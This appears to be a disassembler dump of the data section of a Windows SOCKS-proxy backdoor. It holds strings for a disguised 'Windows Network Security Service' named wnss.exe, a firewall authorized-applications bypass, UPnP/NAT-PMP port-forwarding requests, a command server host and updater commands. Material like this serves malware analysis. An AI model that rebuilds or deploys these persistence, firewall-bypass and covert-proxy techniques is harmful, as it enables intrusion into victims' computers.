aRegreadCanTR_0 db 'RegRead(): can',27h,'t read key %s',0Ah,0
aRegreadReadI_0 db 'RegRead(): read %i bytes from %s (%s)',0Ah,0
aRegreadOpene_0 db 'RegRead(): opened %s',0Ah,0
a8fc4ddd4C51e_0 db '{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}',0
aDescription_0 db 'Description',0
aDisplayname_0 db 'DisplayName',0
aLocalsystem_0 db 'LocalSystem',0
aObjectname_0 db 'ObjectName',0
aErrorcontrol_0 db 'ErrorControl',0
aStart_0 db 'Start',0
aType_0 db 'Type',0
aImagepath_0 db 'ImagePath',0
aSystemCurren_3 db 'SYSTEM\CurrentControlSet\Services\',0
aProvidesNetw_0 db 'Provides network security options for system administrators. Thi'
db 's service can not be stopped.',0
aServiceRegis_0 db 'service registered',0Ah,0
aWnss_0 db 'wnss',0
aStartingComm_0 db 'starting COMM thread...',0Ah,0
aNatpmpForwar_0 db 'NATPMP: forwarded to: %i',0Ah,0
aSocksPortI_0 db 'SOCKS port: %i',0Ah,0
aCanTBindList_0 db 'can',27h,'t bind listen socket!',0Ah,0
aListener____0 db 'listener...',0Ah,0
aInternalprog_0 db 'InternalProgramData',0
aSoftwareMicr_6 db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
aConnectionCl_0 db 'connection closed.',0Ah,0
aDataExchange_0 db 'data exchange complete',0Ah,0
aTransferring_0 db 'transferring data...',0Ah,0
aConnectedToS_0 db 'connected to %s:%i',0Ah,0
aConnectionTo_0 db 'connection to %s:%i failed! %-( (%i)',0Ah,0
aConnectingTo_0 db 'connecting to %s:%i',0Ah,0
aSocksVIS_0 db 'socks v%i [%s]',0Ah,0
aConnectionRe_0 db 'connection rejected (from [%s])',0Ah,0
aConnectionFr_0 db 'connection from [%s]',0Ah,0
a_win32__wnss_1 db '_win32__wnss_um__',0
aSystem_0 db 'SYSTEM',0
db 0Dh,' ',0Dh,0
aISecondsLeft_0 db 0Dh,'%i seconds left ',8,8,8,'.',0
aSrvWaitingIS_0 db 'Srv: waiting %i seconds...',0Ah,0
aSrvcommthrea_0 db 'SrvCommThread: done',0Ah,0
aSrvStartingUpd db 'SRV: starting updater...',0Ah,0
aSrvUpgradeS db 'SRV: UPGRADE <%s>',0Ah,0
aSrvIplist db 'SRV: IPLIST',0Ah,0
aSrvBye db 'SRV: BYE',0Ah,0
aSrvAckReject_1 db 'SRV: ACK rejected IPs failed',0Ah,0
aSrvAckReject_2 db 'SRV: ACK rejected IPs',0Ah,0
aSrvSendingRe_0 db 'SRV: sending rejected IPs failed',0Ah,0
aSrvSendingRe_1 db '* SRV: sending rejected IPs',0Ah,0
aSrvAckHandsh_0 db 'SRV: ACK handshacking failed',0Ah,0
aSrvAckHandsh_1 db 'SRV: ACK handshacking',0Ah,0
aSrvHandshaki_1 db 'SRV: handshaking failed.',0Ah,0
aSrvRip?I_0 db 'SRV: rip? %i',0Ah,0
aSrvHandshaki_2 db 'SRV: handshaking...',0Ah,0
aSrvConnectin_0 db 'SRV: connecting failed.',0Ah,0
aSrvConnectin_1 db 'SRV: connecting...',0Ah,0
aSrvSI_0 db 'SRV: [%s:%i]',0Ah,0
aMyPortI_0 db 'my port [%i]',0Ah,0
aDep_mvl0an7__0 db 'dep.mvl0an7.com',0
aAuthorizedIp_0 db 'authorized IP #%i [%s]',0Ah,0
aRunningSS____0 db 'running %s (%s)...',0Dh,0Ah,0
db '" "',0
aUpdate_2 db '*update "',0
aMsssx_0 db 'msssx',0
aDownloadedTo_0 db 'downloaded to: <%s>',0Ah,0
aMsss_0 db 'msss',0
aUpdateUrlS_0 db 'UPDATE URL: <%s>',0Ah,0
aDownloadedSS_0 db 'downloaded [%s] --> %s',0Dh,0Ah,0
aDownloadedFa_0 db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0
aDownloadingS_0 db 'downloading [%s] --> %s',0Dh,0Ah,0
aFopenS____0 db 'fopen(%s)...',0Ah,0
aWb_2 db 'wb',0
aInternetopen_1 db 'InternetOpenUrl(): %i',0Ah,0
aInternetopen_2 db 'InternetOpen(): %i',0Ah,0
aMsdownloader_0 db 'msdownloader',0
db ' ',0
aCWindowsSyst_0 db 'C:\WINDOWS\system32\wnss.exe',0
db '"',0
a_win32__wnss_2 db '_win32__wnss_sm__',0
a_win32__wnss_3 db '_win32__wnss_sdm__',0
aNatPmpReques_2 db 'NAT-PMP request #%i - port: [%i]',0Ah,0
aNatPmpFwdReq_0 db 'NAT-PMP fwd request #%i - ok',0Ah,0
aReceivingNat_1 db 'receiving NAT-PMP fwd request #%i...',0Ah,0
aSetsockoptNa_1 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
aSendingNatPm_0 db 'sending NAT-PMP fwd request #%i...',0Ah,0
aRouterIpS_0 db 'router ip: [%s]',0Ah,0
aNatPmpReques_3 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
aNatPmpReques_4 db 'NAT-PMP request #%i - ok',0Ah,0
aReceivingNat_2 db 'receiving NAT-PMP request #%i...',0Ah,0
aSetsockoptNa_2 db 'setsockopt NAT-PMP request #%i...',0Ah,0
aSendingNatPm_1 db 'sending NAT-PMP request #%i...',0Ah,0
aDefaultGatew_0 db 'default gateway: [%s]',0Ah,0
aIupnpDiscove_5 db 'IUPnP discovery request #%i: ok.',0Ah,0
aControlurl_0 db '<controlURL>',0
aService_1 db '</service>',0
aService_2 db '<service>',0
aUrnSchemasUp_0 db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscove_6 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
aLocationS_0 db 'location: <%s>',0Ah,0
aIupnpDiscove_7 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
aIupnpDiscove_8 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
aLocation_0 db 'location',0
aIupnpDiscove_9 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
aSchemasUpnpO_0 db 'schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscov_10 db 'IUPnP discovery request #%i -- checking...',0Ah,0
aReceivingIup_0 db 'receiving IUPnP discovery request #%i...',0Ah,0
aSetsockoptIu_0 db 'setsockopt IUPnP discovery request #%i...',0Ah,0
aMSearchHttp1_0 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah
db 'Host: 239.255.255.250:1900',0Dh,0Ah
db 'ST: upnp:rootdevice',0Dh,0Ah
db 'Man: "ssdp:discover"',0Dh,0Ah
db 'MX: 3',0Dh,0Ah
db 0Dh,0Ah,0
aSendingIupnp_0 db 'sending IUPnP discovery request #%i...',0Ah,0
aXbind____0 db 'xbind...',0Ah,0
aShit_0 db 'shit!',0Ah,0
a239_255_255__0 db '239.255.255.250',0
aHttpAddmapRe_2 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
aHttpAddmapRe_3 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
aHttpAddmapRe_4 db 'HTTP AddMap request: [%s:%i]...',0Ah,0
aPostSHttp1_1_0 db 'POST %s HTTP/1.1',0Dh,0Ah
db 'HOST: %s:%i',0Dh,0Ah
db 'CONTENT-LENGTH: %i',0Dh,0Ah
db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
db 'rtMapping"',0Dh,0Ah
db 0Dh,0Ah,0
aMPostSHttp1__0 db 'M-POST %s HTTP/1.1',0Dh,0Ah
db 'HOST: %s:%i',0Dh,0Ah
db 'CONTENT-LENGTH: %i',0Dh,0Ah
db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
db 'rtMapping"',0Dh,0Ah
db 0Dh,0Ah,0
aSEnvelopeXml_0 db '<s:Envelope',0Dh,0Ah
db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
db '<s:Body>',0Dh,0Ah
db '<u:AddPortMapping',0Dh,0Ah
db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
db 'ption>',0Dh,0Ah
db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
db '</u:AddPortMapping>',0Dh,0Ah
db '</s:Body>',0Dh,0Ah
db '</s:Envelope>',0
a200_0 db '200',0
db 0Ah,0
aHttpDiscover_1 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
aGetSHttp1_1H_0 db 'GET %s HTTP/1.1',0Dh,0Ah
db 'HOST: %s:%i',0Dh,0Ah
db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
db 0Dh,0Ah,0
aHttpDiscover_2 db 'HTTP discovery request: [%s:%i]...',0Ah,0
aHttp_0 db 'http://',0
a__0 db '.',0
a6ea9b038C801_0 db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0
aSystemCurren_4 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aWindowsNetwo_0 db 'Windows Network Security Service',0
aEnabled_0 db ':*:Enabled:',0
aHandshakeBad_0 db 'Handshake: bad version (%i)',0Ah,0
aHandshakeBad_1 db 'Handshake: bad packed (%i)',0Ah,0
aHandshakeRec_0 db 'Handshake: recv() error',0Ah,0
aProtorecvDat_0 db 'protorecv(): data size: %i (of %i)',0Ah,0
aPktrecvPacke_0 db 'PktRecv(): packetId: 0x%03x',0Ah,0
aPktrecvInval_0 db 'PktRecv(): invalid signature (%i)',0Ah,0
aPktsendIIByt_0 db 'PktSend(%i): %i bytes',0Ah,0
aSIsS_0 db '%s is %s',0Ah,0
aWinsock2_xIn_0 db 'WinSock 2.x initialized.',0Ah,0
aWinsock1_1In_0 db 'WinSock 1.1 initialized.',0Ah,0
aA_0 db 'a',0
aPm_0 db 'PM',0
aAm_0 db 'AM',0
a02i02i02iIII_0 db '%02i/%02i/%02i %i:%i:%i%s',0
aS_3 db '%s',0
align 4
dd 0FFFFFF00h, 0FFh, 40721A00h, 0FFFFFF00h, 0FFh, 40741B00h
dd 0FFFFFF00h, 0FFh, 40751E00h, 0FFFFFF00h, 0FFh, 40766D00h
dd 0FFFFFF00h, 407988FFh, 4079A300h, 0FFFFFF00h, 0FFh
dd 407B1D00h, 0FFFFFF00h, 407C45FFh, 407C6000h, 400000h
dd 0FFFFFF00h, 0FFh, 4082BE00h, 4083EC00h, 4083A200h, 2 dup(4083D200h)
dd 5 dup(4083A200h), 4083DF00h, 4083A200h, 2 dup(4083B200h)
dd 40842000h, 4083D200h, 4083F900h, 3 dup(4083C200h), 4083A200h
dd 40841300h, 3 dup(4083A200h), 4083B200h, 4083D200h, 40844700h
dd 4083B200h, 10h dup(4083D200h), 4083A200h, 4083D200h
dd 10h dup(4083A200h), 4083B200h, 0Bh dup(4083A200h), 4083D200h
dd 4083A200h, 4083B200h, 4083D200h, 40843A00h, 2 dup(4083A200h)
dd 40842D00h, 4083A200h, 4083F900h, 2 dup(40840600h), 4083F900h
dd 4083A200h, 4083D200h, 4083EC00h, 4 dup(4083A200h), 0Fh dup(40841300h)
dd 3 dup(4083A200h), 4083B200h, 8 dup(4083A200h), 4083DF00h
dd 2D2B2000h, 3023h, 100h, 200h, 400h, 800h, 1000h, 0
dd 6C6A6800h, 4C7A74h, 4E4F4300h, 244E49h, 4F4E4F43h, 245455h
dd 0
dd 0FFFFFF00h, 0FFh, 14h dup(0)
dd 10001002h, 3 dup(10001000h), 30013000h, 30003000h, 10003000h
dd 8 dup(10001000h), 40001000h, 7 dup(80008000h), 3008000h
dd 4 dup(3000300h), 80000300h, 3 dup(80008000h), 3 dup(0A000A00h)
dd 0Ah dup(8000800h), 3 dup(80008000h), 3 dup(6000600h)
dd 0Ah dup(4000400h), 2 dup(80008000h), 1000h, 40h dup(0)
dd 40A0C700h, 3 dup(40A3F700h), 4 dup(40A0C700h), 40A3F700h
dd 409D4C00h, 409DBB00h, 3 dup(40A0C700h), 40A3F700h, 409DBB00h
dd 4 dup(40A3F700h), 40A18900h, 409F5300h, 40A2C100h, 2 dup(40A3F700h)
dd 40A31F00h, 40A3F700h, 409F5300h, 2 dup(40A3F700h), 409F5300h
dd 756E2800h, 296C6Ch, 20202000h, 7 dup(20202020h), 30300020h
dd 7 dup(30303030h), 3030h, 2 dup(0)
dd 100h, 200h, 0
dd 2E001E0h, 4E003E0h, 6E005E0h, 8E007E0h, 0AE009E0h, 0CE00BE0h
dd 0EE00DE0h, 10E00FE0h, 12E011E0h, 14E013E0h, 16E015E0h
dd 18E017E0h, 1AE019E0h, 1CE01BE0h, 1EE01DE0h, 20E01FE0h
dd 22E021E0h, 24E023E0h, 26E025E0h, 28E027E0h, 2AE029E0h
dd 2CE02BE0h, 2EE02DE0h, 30E02FE0h, 32E031E0h, 34E033E0h
dd 36E035E0h, 38E037E0h, 3AE039E0h, 3CE03BE0h, 3EE03DE0h
dd 40E03FE0h, 42E041E0h, 44E043E0h, 46E045E0h, 48E047E0h
dd 4AE049E0h, 4CE04BE0h, 4EE04DE0h, 50E04FE0h, 52E051E0h
dd 54E053E0h, 56E055E0h, 58E057E0h, 5AE059E0h, 5CE05BE0h
dd 5EE05DE0h, 60E05FE0h, 62E061E0h, 64E063E0h, 66E065E0h
dd 68E067E0h, 6AE069E0h, 6CE06BE0h, 6EE06DE0h, 70E06FE0h
dd 72E071E0h, 74E073E0h, 76E075E0h, 78E077E0h, 7AE079E0h
dd 7CE07BE0h, 7EE07DE0h, 80E07FE0h, 82E081E0h, 84E083E0h
dd 86E085E0h, 88E087E0h, 8AE089E0h, 8CE08BE0h, 8EE08DE0h
dd 90E08FE0h, 92E091E0h, 94E093E0h, 96E095E0h, 98E097E0h
dd 9AE099E0h, 9CE09BE0h, 9EE09DE0h, 0A0E09FE0h, 0A2E0A1E0h
dd 0A4E0A3E0h, 0A6E0A5E0h, 0A8E0A7E0h, 0AAE0A9E0h, 0ACE0ABE0h
dd 0AEE0ADE0h, 0B0E0AFE0h, 0B2E0B1E0h, 0B4E0B3E0h, 0B6E0B5E0h
dd 0B8E0B7E0h, 0BAE0B9E0h, 0BCE0BBE0h, 0BEE0BDE0h, 0C0E0BFE0h
dd 0C2E0C1E0h, 0C4E0C3E0h, 0C6E0C5E0h, 0C8E0C7E0h, 0CAE0C9E0h
dd 0CCE0CBE0h, 0CEE0CDE0h, 0D0E0CFE0h, 0D2E0D1E0h, 0D4E0D3E0h
dd 0D6E0D5E0h, 0D8E0D7E0h, 0DAE0D9E0h, 0DCE0DBE0h, 0DEE0DDE0h
dd 0E0E0DFE0h, 0E2E0E1E0h, 0E4E0E3E0h, 0E6E0E5E0h, 0E8E0E7E0h
dd 0EAE0E9E0h, 0ECE0EBE0h, 0EEE0EDE0h, 0F0E0EFE0h, 0F2E0F1E0h
dd 0F4E0F3E0h, 0F6E0F5E0h, 0F8E0F7E0h, 0FAE0F9E0h, 0FCE0FBE0h
dd 0FEE0FDE0h, 0E0FFE0h, 6E002800h, 6C007500h, 29006C00h
dd 0
dd 32313000h, 36353433h, 61393837h, 65646362h, 31300066h
dd 35343332h, 39383736h, 44434241h, 4645h, 0
dd 24000000h, 40h, 59000000h, 40h, 0C3880000h, 40h, 97D78400h
dd 0E0800041h, 41C37937h, 56E1743h, 93B8B5B5h, 3FF9F546h
dd 384F03E9h, 301D324Dh, 827748F9h, 73BF3C5Ah, 154FDD7Fh
dd 75h, 97D78400h, 41h, 0F0000000h, 3Fh, 0
dd 32313000h, 36353433h, 41393837h, 45444342h, 31300046h
dd 35343332h, 39383736h, 64636261h, 49006665h, 6900464Eh
dd 4E00666Eh, 6E004E41h, 6E61h, 40BE0800h, 40BE2300h, 40BDFF00h
dd 40BE2300h, 40BDEA00h, 40BE2300h, 40BDF600h, 2 dup(40BE2300h)
dd 40BE1100h, 2D2D2000h, 72657420h, 616E696Dh, 676E6974h
dd 6973000Ah, 6C616E67h, 74002320h, 696D7265h, 6974616Eh
dd 72206E6Fh, 65757165h, 69007473h, 6C61766Eh, 73206469h
dd 61726F74h, 61206567h, 73656363h, 6E690073h, 72726574h
dd 69747075h, 69006E6Fh, 6C61766Eh, 65206469h, 75636578h
dd 6C626174h, 6F632065h, 61006564h, 68746972h, 6974656Dh
dd 72652063h, 726F72h, 726F6261h, 74h, 3 dup(0)
dd 3000h, 2E0000h, 13h dup(0)
dd 5B5B5A00h, 5B5B5B5Bh, 5B5B5Bh, 58h dup(0)
dd 5000h, 0Dh dup(0)
dd 800h, 1000h, 2000h, 4000h, 8000h, 10000h, 20000h, 40000h
dd 2 dup(0)
dd 93052000h, 19h, 2 dup(0)
dd 41283C00h, 41282400h, 41280C00h, 4127F400h, 1Bh dup(0)
dd 100h, 0
dd 4112D400h, 4112D500h, 4 dup(4112D400h), 4112B400h, 0Ah dup(0)
dd 80200h, 100h, 41132000h, 41132100h, 4 dup(41132000h)
dd 41130000h, 0Ah dup(0)
dd 80200h, 200h, 41123C00h, 41128C00h, 3 dup(41123C00h)
dd 41136C00h, 41134C00h, 0Ah dup(0)
dd 41128C00h, 4112D800h, 41132400h, 0FDh dup(0)
dd 0FFFFFF00h, 5FFh, 0BC0h, 1D00h, 4C0h, 9600h, 4C0h, 8D00h
dd 8C0h, 8E00h, 8C0h, 8F00h, 8C0h, 9000h, 8C0h, 9100h
dd 8C0h, 9200h, 8C0h, 9300h, 8C0h, 7 dup(0)
dd 40000h, 2Ch dup(0)
dd 40FB7400h, 40FB8200h, 0
dd 300h, 40FE5E00h, 0Fh dup(0)
dd 40FE5E00h, 0Fh dup(0)
dd 40FE5E00h, 0Fh dup(0)
dd 40FE5E00h, 0Fh dup(0)
dd 7 dup(4101E400h), 7F7F7F00h, 2 dup(7F7F7F7Fh), 7F7F7Fh
dd 4101E500h, 2 dup(4101E400h), 0
dd 0F0000000h, 7Fh, 0F8000000h, 7Fh, 90000000h, 3Ch, 40000000h
dd 3Eh, 32000000h, 40h, 0
dd 11A8400h, 2 dup(0)
dd 122AE00h, 11CC400h, 11BE400h, 2 dup(0)
dd 124B200h, 11E2400h, 11C4800h, 2 dup(0)
dd 1251C00h, 11E8800h, 11CA800h, 2 dup(0)
dd 1253C00h, 11EE800h, 11CB000h, 2 dup(0)
dd 1259800h, 11EF000h, 5 dup(0)
dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h
dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h
dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h
dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h
dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h
dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h
dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h
dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h
dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h
dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h
dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h
dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h
dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h
dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h
dd 127BA00h, 127CC00h, 127D800h, 0
dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h
dd 1232E00h, 1234A00h, 1235A00h, 1236E00h, 1238000h, 1239000h
dd 123A600h, 123BC00h, 123D400h, 123EC00h, 123FC00h, 1240E00h
dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h
dd 0
dd 7300h, 7480h, 1780h, 1580h, 380h, 1280h, 0C80h, 980h
dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h
dd 3480h, 680h, 3980h, 0B80h, 1480h, 1180h, 6F80h, 80h
dd 1252800h, 0
dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0
dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h
dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h
dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h
dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h
dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h
dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h
dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h
dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h
dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h
dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h
dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h
dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h
dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h
dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h
dd 127BA00h, 127CC00h, 127D800h, 0
dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h
dd 1232E00h, 1234A00h, 1235A00h, 1236E00h, 1238000h, 1239000h
dd 123A600h, 123BC00h, 123D400h, 123EC00h, 123FC00h, 1240E00h
dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h
dd 0
dd 7300h, 7480h, 1780h, 1580h, 380h, 1280h, 0C80h, 980h
dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h
dd 3480h, 680h, 3980h, 0B80h, 1480h, 1180h, 6F80h, 80h
dd 1252800h, 0
dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0
db 0
db 2 dup(0), 47h
aEttickcount db 'etTickCount',0
db 0
db 2 dup(0), 49h
aNitializecriti db 'nitializeCriticalSection',0
db 2 dup(0), 45h
aNtercriticalse db 'nterCriticalSection',0
db 0
db 2 dup(0), 4Ch
aEavecriticalse db 'eaveCriticalSection',0
db 0
db 2 dup(0), 47h
aEtstdhandle db 'etStdHandle',0
db 0
db 2 dup(0), 47h
aEtlocaltime db 'etLocalTime',0
db 0
db 2 dup(0), 47h
aEtmodulefilena db 'etModuleFileNameA',0
align 4
db 0
aLocalalloc_0 db 'LocalAlloc',0
db 0
db 2 dup(0), 43h
aReatefilemappi db 'reateFileMappingA',0
align 4
db 0
aGetlasterror_2 db 'GetLastError',0
align 4
db 0
aMapviewoffil_0 db 'MapViewOfFile',0
align 4
db 0
aUnmapviewoff_0 db 'UnmapViewOfFile',0
db 2 dup(0), 4Fh
aPenfilemapping db 'penFileMappingA',0
dd 43000000h, 65736F6Ch, 646E6148h, 656Ch, 6D6F4300h, 65726170h
dd 69727453h, 41676Eh, 53000000h, 7065656Ch, 49000000h
dd 7265746Eh, 6B636F6Ch, 78456465h, 6E616863h, 6567h, 65724300h
dd 4D657461h, 78657475h, 41h, 65704F00h, 74754D6Eh, 417865h
dd 43000000h, 74616572h, 6F725065h, 73736563h, 41h, 74655300h
dd 7473614Ch, 6F727245h, 72h, 6C654400h, 46657465h, 41656C69h
dd 47000000h, 65547465h, 6150706Dh, 416874h, 47000000h
dd 65547465h, 6946706Dh, 614E656Ch, 41656Dh, 43000000h
dd 4679706Fh, 41656C69h, 53000000h, 69467465h, 7441656Ch
dd 62697274h, 73657475h, 41h, 746E4900h, 6F6C7265h, 64656B63h
dd 68637845h, 65676E61h, 646441h, 45000000h, 50746978h
dd 65636F72h, 7373h, 69615700h, 726F4674h, 676E6953h, 624F656Ch
dd 7463656Ah, 6C000000h, 63727473h, 4169706Dh, 6C000000h
dd 63727473h, 416E7970h, 43000000h, 74616572h, 65764565h
dd 41746Eh, 53000000h, 76457465h, 746E65h, 57000000h, 46746961h
dd 754D726Fh, 7069746Ch, 624F656Ch, 7463656Ah, 73h, 74654700h
dd 656C6946h, 72747441h, 74756269h, 417365h, 52000000h
dd 74657365h, 6E657645h, 74h, 6E694600h, 73655264h, 6372756Fh
dd 4165h, 7A695300h, 52666F65h, 756F7365h, 656372h, 4C000000h
dd 5264616Fh, 756F7365h, 656372h, 4C000000h, 526B636Fh
dd 756F7365h, 656372h, 47000000h, 75437465h, 6E657272h
dd 6F725074h, 73736563h, 56000000h, 75747269h, 6C416C61h
dd 45636F6Ch, 78h, 74654700h, 75646F4Dh, 6148656Ch, 656C646Eh
dd 41h, 74654700h, 636F7250h, 72646441h, 737365h, 57000000h
dd 65746972h, 636F7250h, 4D737365h, 726F6D65h, 79h, 65724300h
dd 52657461h, 746F6D65h, 72685465h, 646165h, 4F000000h
dd 506E6570h, 65636F72h, 7373h, 74654700h, 74697845h, 65646F43h
dd 65726854h, 6461h, 65724300h, 54657461h, 686C6F6Fh, 33706C65h
dd 616E5332h, 6F687370h, 74h, 6F725000h, 73736563h, 69463233h
dd 747372h, 50000000h, 65636F72h, 32337373h, 7478654Eh
dd 47000000h, 6F437465h, 6E616D6Dh, 6E694C64h, 4B004165h
dd 454E5245h, 2E32334Ch, 6C6C64h, 52000000h, 72436765h
dd 65746165h, 4579654Bh, 4178h, 67655200h, 56746553h, 65756C61h
dd 417845h, 52000000h, 6C436765h, 4B65736Fh, 7965h, 67655200h
dd 6E65704Fh, 4579654Bh, 4178h, 67655200h, 656C6544h, 654B6574h
dd 4179h, 696E4900h, 6C616974h, 53657A69h, 72756365h, 44797469h
dd 72637365h, 6F747069h, 72h, 74655300h, 75636553h, 79746972h
dd 63736544h, 74706972h, 6144726Fh, 6C63h, 74654700h, 72657355h
dd 656D614Eh, 41h, 67655200h, 72657551h, 6C615679h, 78456575h
dd 41h, 65704F00h, 4D43536Eh, 67616E61h, 417265h, 4F000000h
dd 536E6570h, 69767265h, 416563h, 43000000h, 65736F6Ch
dd 76726553h, 48656369h, 6C646E61h, 65h, 65755100h, 65537972h
dd 63697672h, 61745365h, 737574h, 43000000h, 676E6168h
dd 72655365h, 65636976h, 666E6F43h, 416769h, 43000000h
dd 676E6168h, 72655365h, 65636976h, 666E6F43h, 41326769h
dd 53000000h, 74726174h, 76726553h, 41656369h, 43000000h
dd 74616572h, 72655365h, 65636976h, 41h, 6C654400h, 53657465h
dd 69767265h, 6563h, 74655300h, 76726553h, 53656369h, 75746174h
dd 73h, 67655200h, 65747369h, 72655372h, 65636976h, 6C727443h
dd 646E6148h, 4172656Ch, 53000000h, 74726174h, 76726553h
dd 43656369h, 446C7274h, 61707369h, 65686374h, 4172h, 6F6F4C00h
dd 5070756Bh, 69766972h, 6567656Ch, 756C6156h, 4165h, 65704F00h
dd 6F72506Eh, 73736563h, 656B6F54h, 6Eh, 6A644100h, 54747375h
dd 6E656B6Fh, 76697250h, 67656C69h, 41007365h, 50415644h
dd 2E323349h, 6C6C64h, 7300h, 7400h, 1700h, 1500h, 300h
dd 1200h, 0C00h, 900h, 400h, 200h, 0D00h, 100h, 0F00h
dd 1000h, 1300h, 0A00h, 3400h, 600h, 3900h, 0B00h, 1400h
dd 1100h, 6F00h, 4F535700h, 32334B43h, 6C6C642Eh, 47000000h
dd 70497465h, 77726F46h, 54647261h, 656C6261h, 68706900h
dd 7061706Ch, 6C642E69h, 6Ch, 746E4900h, 656E7265h, 65704F74h
dd 416Eh, 746E4900h, 656E7265h, 65704F74h, 6C72556Eh, 41h
dd 746E4900h, 656E7265h, 6F6C4374h, 61486573h, 656C646Eh
dd 49000000h, 7265746Eh, 5274656Eh, 46646165h, 656C69h
dd 4E495700h, 54454E49h, 6C6C642Eh, 57000000h, 65746972h
dd 736E6F43h, 41656C6Fh, 54000000h, 6553736Ch, 6C615674h
dd 6575h, 65724300h, 54657461h, 61657268h, 64h, 73655200h
dd 54656D75h, 61657268h, 64h, 69784500h, 72685474h, 646165h
dd 47000000h, 74537465h, 75747261h, 666E4970h, 416Fh, 6C745200h
dd 69776E55h, 646Eh, 61654800h, 65724370h, 657461h, 48000000h
dd 44706165h, 72747365h, 796Fh, 61654800h, 6C6C4170h, 636Fh
dd 61654800h, 41655270h, 636F6C6Ch, 48000000h, 46706165h
dd 656572h, 48000000h, 53706165h, 657A69h, 48000000h, 56706165h
dd 64696C61h, 657461h, 44000000h, 74656C65h, 69724365h
dd 61636974h, 6365536Ch, 6E6F6974h, 43000000h, 74616572h
dd 6C694665h, 4165h, 736C5400h, 6F6C6C41h, 63h, 74654700h
dd 72727543h, 54746E65h, 61657268h, 644964h, 54000000h
dd 7246736Ch, 6565h, 736C5400h, 56746547h, 65756C61h, 55000000h
dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh
dd 726574h, 47000000h, 79537465h, 6D657473h, 656D6954h
dd 69467341h, 6954656Ch, 656Dh, 74654700h, 656C6946h, 65707954h
dd 44000000h, 696C7075h, 65746163h, 646E6148h, 656Ch, 74655300h
dd 646E6148h, 6F43656Ch, 746E75h, 47000000h, 6E457465h
